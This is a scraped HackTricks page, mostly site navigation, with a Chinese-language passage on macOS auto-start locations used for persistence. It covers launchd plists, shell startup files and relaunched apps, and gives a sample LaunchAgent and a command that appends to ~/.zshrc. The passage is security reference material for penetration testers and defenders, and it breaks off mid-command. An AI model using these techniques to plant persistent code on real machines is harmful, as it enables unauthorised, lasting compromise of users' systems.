hacktricks
  • 👾Welcome!
    • HackTricks
  • 🤩Generic Methodologies & Resources
    • Pentesting Methodology
    • External Recon Methodology
      • Wide Source Code Search
      • Github Dorks & Leaks
    • Pentesting Network
      • DHCPv6
      • EIGRP Attacks
      • GLBP & HSRP Attacks
      • IDS and IPS Evasion
      • Lateral VLAN Segmentation Bypass
      • Network Protocols Explained (ESP)
      • Nmap Summary (ESP)
      • Pentesting IPv6
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Spoofing SSDP and UPnP Devices with EvilSSDP
    • Pentesting Wifi
      • Evil Twin EAP-TLS
    • Phishing Methodology
      • Clone a Website
      • Detecting Phishing
      • Phishing Files & Documents
    • Basic Forensic Methodology
      • Baseline Monitoring
      • Anti-Forensic Techniques
      • Docker Forensics
      • Image Acquisition & Mount
      • Linux Forensics
      • Malware Analysis
      • Memory dump analysis
        • Volatility - CheatSheet
      • Partitions/File Systems/Carving
        • File/Data Carving & Recovery Tools
      • Pcap Inspection
        • DNSCat pcap analysis
        • Suricata & Iptables cheatsheet
        • USB Keystrokes
        • Wifi Pcap Analysis
        • Wireshark tricks
      • Specific Software/File-Type Tricks
        • Decompile compiled python binaries (exe, elf) - Retreive from .pyc
        • Browser Artifacts
        • Deofuscation vbs (cscript.exe)
        • Local Cloud Storage
        • Office file analysis
        • PDF File analysis
        • PNG tricks
        • Video and Audio file analysis
        • ZIPs tricks
      • Windows Artifacts
        • Interesting Windows Registry Keys
    • Brute Force - CheatSheet
    • Python Sandbox Escape & Pyscript
      • Bypass Python sandboxes
        • LOAD_NAME / LOAD_CONST opcode OOB Read
      • Class Pollution (Python's Prototype Pollution)
      • Python Internal Read Gadgets
      • Pyscript
      • venv
      • Web Requests
      • Bruteforce hash (few chars)
      • Basic Python
    • Exfiltration
    • Tunneling and Port Forwarding
    • Threat Modeling
    • Search Exploits
    • Shells (Linux, Windows, MSFVenom)
      • MSFVenom - CheatSheet
      • Shells - Windows
      • Shells - Linux
      • Full TTYs
  • 🐧Linux Hardening
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
      • Arbitrary File Write to Root
      • Cisco - vmanage
      • Containerd (ctr) Privilege Escalation
      • D-Bus Enumeration & Command Injection Privilege Escalation
      • Docker Security
        • Abusing Docker Socket for Privilege Escalation
        • AppArmor
        • AuthZ& AuthN - Docker Access Authorization Plugin
        • CGroups
        • Docker --privileged
        • Docker Breakout / Privilege Escalation
          • release_agent exploit - Relative Paths to PIDs
          • Docker release_agent cgroups escape
          • Sensitive Mounts
        • Namespaces
          • CGroup Namespace
          • IPC Namespace
          • PID Namespace
          • Mount Namespace
          • Network Namespace
          • Time Namespace
          • User Namespace
          • UTS Namespace
        • Seccomp
        • Weaponizing Distroless
      • Escaping from Jails
      • euid, ruid, suid
      • Interesting Groups - Linux Privesc
        • lxd/lxc Group - Privilege escalation
      • Logstash
      • ld.so privesc exploit example
      • Linux Active Directory
      • Linux Capabilities
      • NFS no_root_squash/no_all_squash misconfiguration PE
      • Node inspector/CEF debug abuse
      • Payloads to execute
      • RunC Privilege Escalation
      • SELinux
      • Socket Command Injection
      • Splunk LPE and Persistence
      • SSH Forward Agent exploitation
      • Wildcards Spare tricks
    • Useful Linux Commands
    • Bypass Linux Restrictions
      • Bypass FS protections: read-only / no-exec / Distroless
        • DDexec / EverythingExec
    • Linux Environment Variables
    • Linux Post-Exploitation
      • PAM - Pluggable Authentication Modules
    • FreeIPA Pentesting
  • 🍏MacOS Hardening
    • macOS Security & Privilege Escalation
      • macOS Apps - Inspecting, debugging and Fuzzing
        • Introduction to x64
        • Introduction to ARM64v8
      • macOS AppleFS
      • macOS Bypassing Firewalls
      • macOS Defensive Apps
      • macOS GCD - Grand Central Dispatch
      • macOS Kernel & System Extensions
        • macOS IOKit
        • macOS Kernel Extensions
        • macOS Kernel Vulnerabilities
        • macOS System Extensions
      • macOS Network Services & Protocols
      • macOS File Extension & URL scheme app handlers
      • macOS Files, Folders, Binaries & Memory
        • macOS Bundles
        • macOS Installers Abuse
        • macOS Memory Dumping
        • macOS Sensitive Locations & Interesting Daemons
        • macOS Universal binaries & Mach-O Format
      • macOS Objective-C
      • macOS Privilege Escalation
      • macOS Process Abuse
        • macOS Dirty NIB
        • macOS Chromium Injection
        • macOS Electron Applications Injection
        • macOS Function Hooking
        • macOS IPC - Inter Process Communication
          • macOS MIG - Mach Interface Generator
          • macOS XPC
            • macOS XPC Authorization
            • macOS XPC Connecting Process Check
              • macOS PID Reuse
              • macOS xpc_connection_get_audit_token Attack
          • macOS Thread Injection via Task port
        • macOS Java Applications Injection
        • macOS Library Injection
          • macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
          • macOS Dyld Process
        • macOS Perl Applications Injection
        • macOS Python Applications Injection
        • macOS Ruby Applications Injection
        • macOS .Net Applications Injection
      • macOS Security Protections
        • macOS Gatekeeper / Quarantine / XProtect
        • macOS Launch/Environment Constraints & Trust Cache
        • macOS Sandbox
          • macOS Default Sandbox Debug
          • macOS Sandbox Debug & Bypass
            • macOS Office Sandbox Bypasses
        • macOS SIP
        • macOS TCC
          • macOS Apple Events
          • macOS TCC Bypasses
            • macOS Apple Scripts
          • macOS TCC Payloads
        • macOS Dangerous Entitlements & TCC perms
        • macOS FS Tricks
          • macOS xattr-acls extra stuff
      • macOS Users
    • macOS Red Teaming
      • macOS MDM
        • Enrolling Devices in Other Organisations
        • macOS Serial Number
      • macOS Keychain
    • macOS Useful Commands
    • macOS Auto Start
  • 🪟Windows Hardening
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • Abusing Tokens
      • Access Tokens
      • ACLs - DACLs/SACLs/ACEs
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • COM Hijacking
      • Dll Hijacking
        • Writable Sys Path +Dll Hijacking Privesc
      • DPAPI - Extracting Passwords
      • From High Integrity to SYSTEM with Name Pipes
      • Integrity Levels
      • JuicyPotato
      • Leaked Handle Exploitation
      • MSI Wrapper
      • Named Pipe Client Impersonation
      • Privilege Escalation with Autoruns
      • RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
      • SeDebug + SeImpersonate copy token
      • SeImpersonate from High To System
      • Windows C Payloads
    • Active Directory Methodology
      • Abusing Active Directory ACLs/ACEs
        • Shadow Credentials
      • AD Certificates
        • AD CS Account Persistence
        • AD CS Domain Escalation
        • AD CS Domain Persistence
        • AD CS Certificate Theft
      • AD information in printers
      • AD DNS Records
      • ASREPRoast
      • BloodHound & Other AD Enum Tools
      • Constrained Delegation
      • Custom SSP
      • DCShadow
      • DCSync
      • Diamond Ticket
      • DSRM Credentials
      • External Forest Domain - OneWay (Inbound) or bidirectional
      • External Forest Domain - One-Way (Outbound)
      • Golden Ticket
      • Kerberoast
      • Kerberos Authentication
      • Kerberos Double Hop Problem
      • LAPS
      • MSSQL AD Abuse
      • Over Pass the Hash/Pass the Key
      • Pass the Ticket
      • Password Spraying / Brute Force
      • PrintNightmare
      • Force NTLM Privileged Authentication
      • Privileged Groups
      • RDP Sessions Abuse
      • Resource-based Constrained Delegation
      • Security Descriptors
      • SID-History Injection
      • Silver Ticket
      • Skeleton Key
      • Unconstrained Delegation
    • Windows Security Controls
      • UAC - User Account Control
    • NTLM
      • Places to steal NTLM creds
    • Lateral Movement
      • AtExec / SchtasksExec
      • DCOM Exec
      • PsExec/Winexec/ScExec
      • SmbExec/ScExec
      • WinRM
      • WmicExec
    • Pivoting to the Cloud
    • Stealing Windows Credentials
      • Windows Credentials Protections
      • Mimikatz
      • WTS Impersonator
    • Basic Win CMD for Pentesters
    • Basic PowerShell for Pentesters
      • PowerView/SharpView
    • Antivirus (AV) Bypass
  • 📱Mobile Pentesting
    • Android APK Checklist
    • Android Applications Pentesting
      • Android Applications Basics
      • Android Task Hijacking
      • ADB Commands
      • APK decompilers
      • AVD - Android Virtual Device
      • Bypass Biometric Authentication (Android)
      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable application
      • Frida Tutorial
        • Frida Tutorial 1
        • Frida Tutorial 2
        • Frida Tutorial 3
        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
      • Install Burp Certificate
      • Intent Injection
      • Make APK Accept CA Certificate
      • Manual DeObfuscation
      • React Native Application
      • Reversing Native Libraries
      • Smali - Decompiling/[Modifying]/Compiling
      • Spoofing your location in Play Store
      • Tapjacking
      • Webview Attacks
    • iOS Pentesting Checklist
    • iOS Pentesting
      • iOS App Extensions
      • iOS Basics
      • iOS Basic Testing Operations
      • iOS Burp Suite Configuration
      • iOS Custom URI Handlers / Deeplinks / Custom Schemes
      • iOS Extracting Entitlements From Compiled Application
      • iOS Frida Configuration
      • iOS Hooking With Objection
      • iOS Protocol Handlers
      • iOS Serialisation and Encoding
      • iOS Testing Environment
      • iOS UIActivity Sharing
      • iOS Universal Links
      • iOS UIPasteboard
      • iOS WebViews
    • Cordova Apps
    • Xamarin Apps
  • 👽Network Services Pentesting
    • Pentesting JDWP - Java Debug Wire Protocol
    • Pentesting Printers
    • Pentesting SAP
    • Pentesting VoIP
      • Basic VoIP Protocols
        • SIP (Session Initiation Protocol)
    • Pentesting Remote GdbServer
    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ºFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP Smuggling
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 49 - Pentesting TACACS+
    • 53 - Pentesting DNS
    • 69/UDP TFTP/Bittorrent-tracker
    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
      • Angular
      • Apache
      • Artifactory Hacking guide
      • Bolt CMS
      • Buckets
        • Firebase Database
      • CGI
      • DotNetNuke (DNN)
      • Drupal
      • Electron Desktop Apps
        • Electron contextIsolation RCE via preload code
        • Electron contextIsolation RCE via Electron internal code
        • Electron contextIsolation RCE via IPC
      • Flask
      • NodeJS Express
      • Git
      • Golang
      • GWT - Google Web Toolkit
      • Grafana
      • GraphQL
      • H2 - Java SQL database
      • IIS - Internet Information Services
      • ImageMagick Security
      • JBOSS
      • JIRA
      • Joomla
      • JSP
      • Laravel
      • Moodle
      • Nginx
      • PHP Tricks
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
        • PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
        • PHP SSRF
      • Python
      • Rocket Chat
      • Special HTTP headers
      • Source code Review / SAST Tools
      • Spring Actuators
      • Symfony
      • Tomcat
        • Basic Tomcat Info
      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • WAF Bypass
      • Web API Pentesting
      • WebDav
      • Werkzeug / Flask Debug
      • Wordpress
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
      • rpcclient enumeration
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • Cisco SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 700 - Pentesting EPP
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1414 - Pentesting IBM MQ
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
      • Types of MSSQL Users
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 3702/UDP - Pentesting WS-Discovery
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 4786 - Cisco Smart Install
    • 4840 - OPC Unified Architecture
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS) and DNS-SD
    • 5432,5433 - Pentesting Postgresql
    • 5439 - Pentesting Redshift
    • 5555 - Android Debug Bridge
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 5985,5986 - Pentesting OMI
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8086 - Pentesting InfluxDB
    • 8089 - Pentesting Splunkd
    • 8333,18333,38333,18444 - Pentesting Bitcoin
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
    • 11211 - Pentesting Memcache
      • Memcache Commands
    • 15672 - Pentesting RabbitMQ Management
    • 24007,24008,24009,49152 - Pentesting GlusterFS
    • 27017,27018 - Pentesting MongoDB
    • 44134 - Pentesting Tiller (Helm)
    • 44818/UDP/TCP - Pentesting EthernetIP
    • 47808/udp - Pentesting BACNet
    • 50030,50060,50070,50075,50090 - Pentesting Hadoop
  • 🕸️Pentesting Web
    • Web Vulnerabilities Methodology
    • Reflecting Techniques - PoCs and Polygloths CheatSheet
      • Web Vulns List
    • 2FA/OTP Bypass
    • Account Takeover
    • Browser Extension Pentesting Methodology
      • BrowExt - ClickJacking
      • BrowExt - permissions & host_permissions
      • BrowExt - XSS Example
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
      • Cache Poisoning to DoS
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Client Side Path Traversal
    • Command Injection
    • Content Security Policy (CSP) Bypass
      • CSP bypass: self + 'unsafe-inline' with Iframes
    • Cookies Hacking
      • Cookie Tossing
      • Cookie Jar Overflow
      • Cookie Bomb
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • CSRF (Cross Site Request Forgery)
    • Dangling Markup - HTML scriptless injection
      • SS-Leaks
    • Dependency Confusion
    • Deserialization
      • NodeJS - __proto__ & prototype Pollution
        • Client Side Prototype Pollution
        • Express Prototype Pollution Gadgets
        • Prototype Pollution to RCE
      • Java JSF ViewState (.faces) Deserialization
      • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
      • Basic Java Deserialization (ObjectInputStream, readObject)
      • PHP - Deserialization + Autoload Classes
      • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
      • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
      • Exploiting __VIEWSTATE knowing the secrets
      • Exploiting __VIEWSTATE without knowing the secrets
      • Python Yaml Deserialization
      • JNDI - Java Naming and Directory Interface & Log4Shell
    • Domain/Subdomain takeover
    • Email Injections
    • File Inclusion/Path traversal
      • phar:// deserialization
      • LFI2RCE via PHP Filters
      • LFI2RCE via Nginx temp files
      • LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
      • LFI2RCE via Segmentation Fault
      • LFI2RCE via phpinfo()
      • LFI2RCE Via temp file uploads
      • LFI2RCE via Eternal waiting
      • LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
    • File Upload
      • PDF Upload - XXE and CORS bypass
    • Formula/CSV/Doc/LaTeX/GhostScript Injection
    • gRPC-Web Pentest
    • HTTP Connection Contamination
    • HTTP Connection Request Smuggling
    • HTTP Request Smuggling / HTTP Desync Attack
      • Browser HTTP Request Smuggling
      • Request Smuggling in HTTP/2 Downgrades
    • HTTP Response Smuggling / Desync
    • Upgrade Header Smuggling
    • hop-by-hop headers
    • IDOR
    • Integer Overflow
    • JWT Vulnerabilities (Json Web Tokens)
    • LDAP Injection
    • Login Bypass
      • Login bypass List
    • NoSQL injection
    • OAuth to Account takeover
    • Open Redirect
    • Parameter Pollution
    • Phone Number Injections
    • PostMessage Vulnerabilities
      • Blocking main page to steal postmessage
      • Bypassing SOP with Iframes - 1
      • Bypassing SOP with Iframes - 2
      • Steal postmessage modifying iframe location
    • Proxy / WAF Protections Bypass
    • Race Condition
    • Rate Limit Bypass
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Attacks
      • SAML Basics
    • Server Side Inclusion/Edge Side Inclusion Injection
    • SQL Injection
      • MS Access SQL Injection
      • MSSQL Injection
      • MySQL injection
        • MySQL File priv to SSRF/RCE
      • Oracle injection
      • Cypher Injection (neo4j)
      • PostgreSQL injection
        • dblink/lo_import data exfiltration
        • PL/pgSQL Password Bruteforce
        • Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
        • Big Binary Files Upload (PostgreSQL)
        • RCE with PostgreSQL Languages
        • RCE with PostgreSQL Extensions
      • SQLMap - Cheetsheat
        • Second Order Injection - SQLMap
    • SSRF (Server Side Request Forgery)
      • URL Format Bypass
      • SSRF Vulnerable Platforms
      • Cloud SSRF
    • SSTI (Server Side Template Injection)
      • EL - Expression Language
      • Jinja2 SSTI
    • Reverse Tab Nabbing
    • Unicode Injection
      • Unicode Normalization
    • WebSocket Attacks
    • Web Tool - WFuzz
    • XPATH injection
    • XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
    • XXE - XEE - XML External Entity
    • XSS (Cross Site Scripting)
      • Abusing Service Workers
      • Chrome Cache to XSS
      • Debugging Client Side JS
      • Dom Clobbering
      • DOM Invader
      • DOM XSS
      • Iframes in XSS, CSP and SOP
      • JS Hoisting
      • Misc JS Tricks & Relevant Info
      • PDF Injection
      • Server Side XSS (Dynamic PDF)
      • Shadow DOM
      • SOME - Same Origin Method Execution
      • Sniff Leak
      • Steal Info JS
      • XSS in Markdown
    • XSSI (Cross-Site Script Inclusion)
    • XS-Search/XS-Leaks
      • Connection Pool Examples
      • Connection Pool by Destination Example
      • Cookie Bomb + Onerror XS Leak
      • URL Max Length - Client Side
      • performance.now example
      • performance.now + Force heavy task
      • Event Loop Blocking + Lazy images
      • JavaScript Execution XS Leak
      • CSS Injection
        • CSS Injection Code
  • ⛈️Cloud Security
    • Pentesting Kubernetes
    • Pentesting Cloud (AWS, GCP, Az...)
    • Pentesting CI/CD (Github, Jenkins, Terraform...)
  • 😎Hardware/Physical Access
    • Physical Attacks
    • Escaping from KIOSKs
    • Firmware Analysis
      • Bootloader testing
      • Firmware Integrity
  • 🎯Binary Exploitation
    • Basic Binary Exploitation Methodology
      • ELF Basic Information
      • Exploiting Tools
        • PwnTools
    • Stack Overflow
      • Pointer Redirecting
      • Ret2win
        • Ret2win - arm64
      • Stack Shellcode
        • Stack Shellcode - arm64
      • Stack Pivoting - EBP2Ret - EBP chaining
      • Uninitialized Variables
    • ROP - Return Oriented Programing
      • BROP - Blind Return Oriented Programming
      • Ret2csu
      • Ret2dlresolve
      • Ret2esp / Ret2reg
      • Ret2lib
        • Leaking libc address with ROP
          • Leaking libc - template
        • One Gadget
        • Ret2lib + Printf leak - arm64
      • Ret2syscall
        • Ret2syscall - ARM64
      • Ret2vDSO
      • SROP - Sigreturn-Oriented Programming
        • SROP - ARM64
    • Array Indexing
    • Integer Overflow
    • Format Strings
      • Format Strings - Arbitrary Read Example
      • Format Strings Template
    • Heap
      • Use After Free
      • Heap Overflow
    • Common Binary Exploitation Protections & Bypasses
      • ASLR
        • Ret2plt
        • Ret2ret & Reo2pop
      • CET & Shadow Stack
      • Libc Protections
      • Memory Tagging Extension (MTE)
      • No-exec / NX
      • PIE
        • BF Addresses in the Stack
      • Relro
      • Stack Canaries
        • BF Forked & Threaded Stack Canaries
        • Print Stack Canary
    • Write What Where 2 Exec
      • WWW2Exec - atexit()
      • WWW2Exec - .dtors & .fini_array
      • WWW2Exec - GOT/PLT
      • WWW2Exec - __malloc_hook
    • Common Exploiting Problems
    • Windows Exploiting (Basic Guide - OSCP lvl)
    • Linux Exploiting (Basic) (SPA)
  • 🔩Reversing
    • Reversing Tools & Basic Methods
      • Angr
        • Angr - Examples
      • Z3 - Satisfiability Modulo Theories (SMT)
      • Cheat Engine
      • Blobrunner
    • Common API used in Malware
    • Word Macros
  • 🔮Crypto & Stego
    • Cryptographic/Compression Algorithms
      • Unpacking binaries
    • Certificates
    • Cipher Block Chaining CBC-MAC
    • Crypto CTFs Tricks
    • Electronic Code Book (ECB)
    • Hash Length Extension Attack
    • Padding Oracle
    • RC4 - Encrypt&Decrypt
    • Stego Tricks
    • Esoteric languages
    • Blockchain & Crypto Currencies
  • 🦂C2
    • Salseo
    • ICMPsh
    • Cobalt Strike
  • ✍️TODO
    • Other Big References
    • Rust Basics
    • More Tools
    • MISC
    • Pentesting DNS
    • Hardware Hacking
      • I2C
      • UART
      • Radio
      • JTAG
      • SPI
    • Radio Hacking
      • Pentesting RFID
      • Infrared
      • Sub-GHz RF
      • iButton
      • Flipper Zero
        • FZ - NFC
        • FZ - Sub-GHz
        • FZ - Infrared
        • FZ - iButton
        • FZ - 125kHz RFID
      • Proxmark 3
      • FISSURE - The RF Framework
      • Low-Power Wide Area Network
      • Pentesting BLE - Bluetooth Low Energy
    • Industrial Control Systems Hacking
    • Burp Suite
    • Other Web Tricks
    • Interesting HTTP
    • Emails Vulnerabilities
    • Android Forensics
    • TR-069
    • 6881/udp - Pentesting BitTorrent
    • Online Platforms with API
    • Stealing Sensitive Information Disclosure from a Web
    • Post Exploitation
    • Cookies Policy
由 GitBook 提供支持
在本页
  • 沙盒绕过
  • Launchd
  • shell 启动文件
  • 重新打开的应用程序
  • 终端偏好设置
  • 终端脚本 / 其他文件扩展名
  • 音频插件
  • QuickLook插件
  • 登录/注销挂钩
  • 条件沙盒绕过
  • Cron
  • iTerm2
  • macOS Auto Start Locations
  • macOS自动启动位置
  • xbar
  • Hammerspoon
  • BetterTouchTool
  • Alfred
  • SSHRC
  • 登录项
  • 将ZIP作为登录项
  • At
  • 文件夹操作
  • Dock快捷方式
  • 颜色选择器
  • Finder Sync Plugins
  • 屏幕保护程序
  • Spotlight插件
  • 首选项窗格
  • Root沙箱绕过
  • 周期性
  • PAM
  • 授权插件
  • Man.conf
  • Apache2
  • BSM审计框架
  • 启动项
  • emond
  • XQuartz
  • kext
  • amstoold
  • xsanctl
  • /etc/rc.common
  • 持久化技术和工具
  1. MacOS Hardening

macOS Auto Start

上一页macOS Useful Commands下一页Checklist - Local Windows Privilege Escalation

最后更新于1年前

从零开始学习AWS黑客技术,成为专家 !

支持HackTricks的其他方式:

  • 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看!

  • 获取

  • 探索,我们的独家

  • 加入 💬 或 或在Twitter上关注我们 🐦 。

  • 通过向和 github仓库提交PR来分享您的黑客技巧。

本节内容主要基于博客系列,旨在添加更多自动启动位置(如果可能的话),指出哪些技术在最新版本的macOS(13.4)中仍然有效,并指定所需的权限。

沙盒绕过

在这里,您可以找到有用于绕过沙盒的启动位置,允许您通过将其写入文件并等待一个非常常见的 操作,一个确定的时间量或一个通常可以在沙盒内执行而无需root权限的操作来简单执行某些内容。

Launchd

  • 用于绕过沙盒:

  • TCC绕过:

位置

  • /Library/LaunchAgents

  • 触发器:重启

  • 需要Root权限

  • /Library/LaunchDaemons

  • 触发器:重启

  • 需要Root权限

  • /System/Library/LaunchAgents

  • 触发器:重启

  • 需要Root权限

  • /System/Library/LaunchDaemons

  • 触发器:重启

  • 需要Root权限

  • ~/Library/LaunchAgents

  • 触发器:重新登录

  • ~/Library/LaunchDemons

  • 触发器:重新登录

描述与利用

launchd是在启动时由OX S内核执行的第一个 进程,也是在关机时最后一个完成的。它应该始终具有PID 1。此进程将读取和执行在以下ASEP plist中指示的配置:

  • /Library/LaunchAgents:由管理员安装的每个用户代理

  • /Library/LaunchDaemons:由管理员安装的系统范围守护程序

  • /System/Library/LaunchAgents:由Apple提供的每个用户代理

  • /System/Library/LaunchDaemons:由Apple提供的系统范围守护程序

当用户登录时,位于/Users/$USER/Library/LaunchAgents和/Users/$USER/Library/LaunchDemons中的plist将以登录用户的权限启动。

代理和守护程序之间的主要区别在于代理在用户登录时加载,而守护程序在系统启动时加载(因为有些服务如ssh需要在任何用户访问系统之前执行)。此外,代理可能使用GUI,而守护程序需要在后台运行。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>

新的守护程序或代理配置文件将在下次重启后加载,或使用launchctl load <target.plist>。也可以使用launchctl -F <file>加载没有扩展名的.plist文件(但这些plist文件在重启后不会自动加载)。 也可以使用launchctl unload <target.plist>来卸载(指向它的进程将被终止)。

为了确保没有任何东西(如覆盖)阻止代理或守护程序运行,运行:sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist

列出当前用户加载的所有代理和守护程序:

launchctl list

如果一个 plist 文件被用户拥有,即使它位于守护程序系统范围的文件夹中,任务将作为用户执行而不是作为 root。这可以防止一些特权升级攻击。

shell 启动文件

  • 但您需要找到一个具有 TCC 绕过的应用程序,执行加载这些文件的 shell

位置

  • ~/.zshrc, ~/.zlogin, ~/.zshenv.zwc, ~/.zshenv, ~/.zprofile

  • 触发条件:使用 zsh 打开终端

  • /etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin

  • 触发条件:使用 zsh 打开终端

  • 需要 root 权限

  • ~/.zlogout

  • 触发条件:使用 zsh 退出终端

  • /etc/zlogout

  • 触发条件:使用 zsh 退出终端

  • 需要 root 权限

  • 可能还有更多在:man zsh

  • ~/.bashrc

  • 触发条件:使用 bash 打开终端

  • /etc/profile(未生效)

  • ~/.profile(未生效)

  • ~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/

  • 触发条件:预期与 xterm 触发,但未安装,即使安装后也会出现此错误:xterm: DISPLAY is not set

描述与利用

当初始化 shell 环境,如 zsh 或 bash 时,会运行某些启动文件。macOS 目前使用 /bin/zsh 作为默认 shell。当启动终端应用程序或通过 SSH 访问设备时,会自动访问此 shell。虽然 bash 和 sh 也存在于 macOS 中,但需要显式调用才能使用。

我们可以通过 man zsh 阅读 zsh 的 man 页面,其中有关启动文件的详细描述。

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

重新打开的应用程序

配置指定的利用方式,注销并重新登录,甚至重新启动都无法让我执行该应用程序。(应用程序未被执行,也许需要在执行这些操作时运行)

位置

  • ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

  • 触发器:重新启动时重新打开应用程序

描述和利用

所有要重新打开的应用程序都在 plist 文件 ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist 中。

因此,要让重新打开的应用程序启动您自己的应用程序,您只需要将您的应用程序添加到列表中。

UUID 可以在列出该目录或使用 ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}' 找到。

要检查将要重新打开的应用程序,您可以执行以下操作:

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

要将应用程序添加到此列表中,您可以使用:

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
